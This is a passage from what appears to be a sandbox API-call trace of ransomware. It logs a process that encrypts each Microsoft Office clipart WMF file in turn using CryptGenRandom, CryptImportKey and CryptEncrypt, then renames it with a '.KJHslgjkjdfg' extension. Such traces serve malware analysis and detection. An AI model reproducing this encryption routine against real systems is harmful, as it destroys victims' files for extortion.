MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00211_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00211_.wmf.kjhslgjkjdfg")) returned 1 [0192.042] CloseHandle (hObject=0x114) returned 1 [0192.042] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1b4a700, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd1b4a700, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x1224, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00217_.WMF", cAlternateFileName="")) returned 1 [0192.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00217_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.044] GetProcessHeap () returned 0x2a0000 [0192.044] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.044] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.044] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.044] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0192.059] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.059] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.059] GetProcessHeap () returned 0x2a0000 [0192.059] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.059] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.060] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.060] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.060] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.060] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.060] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.060] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.060] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.060] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.060] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.060] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.060] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1224, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1224, lpOverlapped=0x0) returned 1 [0192.062] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1230, dwBufLen=0x1230 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1230) returned 1 [0192.062] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.062] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1230, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1230, lpOverlapped=0x0) returned 1 [0192.062] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.062] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.062] SetEndOfFile (hFile=0x114) returned 1 [0192.065] GetProcessHeap () returned 0x2a0000 [0192.065] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.065] GetProcessHeap () returned 0x2a0000 [0192.065] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.065] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00217_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00217_.wmf.kjhslgjkjdfg")) returned 1 [0192.067] CloseHandle (hObject=0x114) returned 1 [0192.067] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x851c9c00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x851c9c00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x1bc0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00218_.WMF", cAlternateFileName="")) returned 1 [0192.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.069] GetProcessHeap () returned 0x2a0000 [0192.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.069] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.069] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.069] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.069] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.069] GetProcessHeap () returned 0x2a0000 [0192.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.069] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.069] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.069] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.084] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.084] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.085] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.085] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.085] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.085] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.085] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.085] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.085] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1bc0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1bc0, lpOverlapped=0x0) returned 1 [0192.092] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1bc0, dwBufLen=0x1bc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1bc0) returned 1 [0192.092] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.092] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1bc0, lpOverlapped=0x0) returned 1 [0192.092] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.092] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1c94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.092] SetEndOfFile (hFile=0x114) returned 1 [0192.095] GetProcessHeap () returned 0x2a0000 [0192.095] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.095] GetProcessHeap () returned 0x2a0000 [0192.095] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.095] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00218_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00218_.wmf.kjhslgjkjdfg")) returned 1 [0192.097] CloseHandle (hObject=0x114) returned 1 [0192.097] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3399f000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3399f000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00231_.WMF", cAlternateFileName="")) returned 1 [0192.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.099] GetProcessHeap () returned 0x2a0000 [0192.099] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.099] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.099] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.099] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.110] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.110] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.110] GetProcessHeap () returned 0x2a0000 [0192.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.110] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.110] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.110] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.111] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.111] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.111] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.111] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.111] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.111] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.111] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.111] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.111] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x738, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x738, lpOverlapped=0x0) returned 1 [0192.111] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x740, dwBufLen=0x740 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x740) returned 1 [0192.111] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.111] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x740, lpOverlapped=0x0) returned 1 [0192.112] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.112] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.112] SetEndOfFile (hFile=0x114) returned 1 [0192.114] GetProcessHeap () returned 0x2a0000 [0192.114] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.114] GetProcessHeap () returned 0x2a0000 [0192.114] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.115] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00231_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00231_.wmf.kjhslgjkjdfg")) returned 1 [0192.116] CloseHandle (hObject=0x114) returned 1 [0192.116] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65787a00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65787a00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0xc68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00234_.WMF", cAlternateFileName="")) returned 1 [0192.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.122] GetProcessHeap () returned 0x2a0000 [0192.122] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.122] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.122] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.122] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.131] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.132] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.132] GetProcessHeap () returned 0x2a0000 [0192.132] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.132] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.132] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.132] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.132] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.132] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.132] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.132] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.132] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.132] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.132] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.133] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.133] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xc68, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xc68, lpOverlapped=0x0) returned 1 [0192.133] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc70, dwBufLen=0xc70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc70) returned 1 [0192.133] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.133] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xc70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xc70, lpOverlapped=0x0) returned 1 [0192.133] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.133] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xd44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.133] SetEndOfFile (hFile=0x114) returned 1 [0192.136] GetProcessHeap () returned 0x2a0000 [0192.136] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.136] GetProcessHeap () returned 0x2a0000 [0192.136] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.136] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00234_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00234_.wmf.kjhslgjkjdfg")) returned 1 [0192.138] CloseHandle (hObject=0x114) returned 1 [0192.138] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa3d200, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa3d200, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0xf8c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00241_.WMF", cAlternateFileName="")) returned 1 [0192.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.139] GetProcessHeap () returned 0x2a0000 [0192.139] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.140] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.140] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, 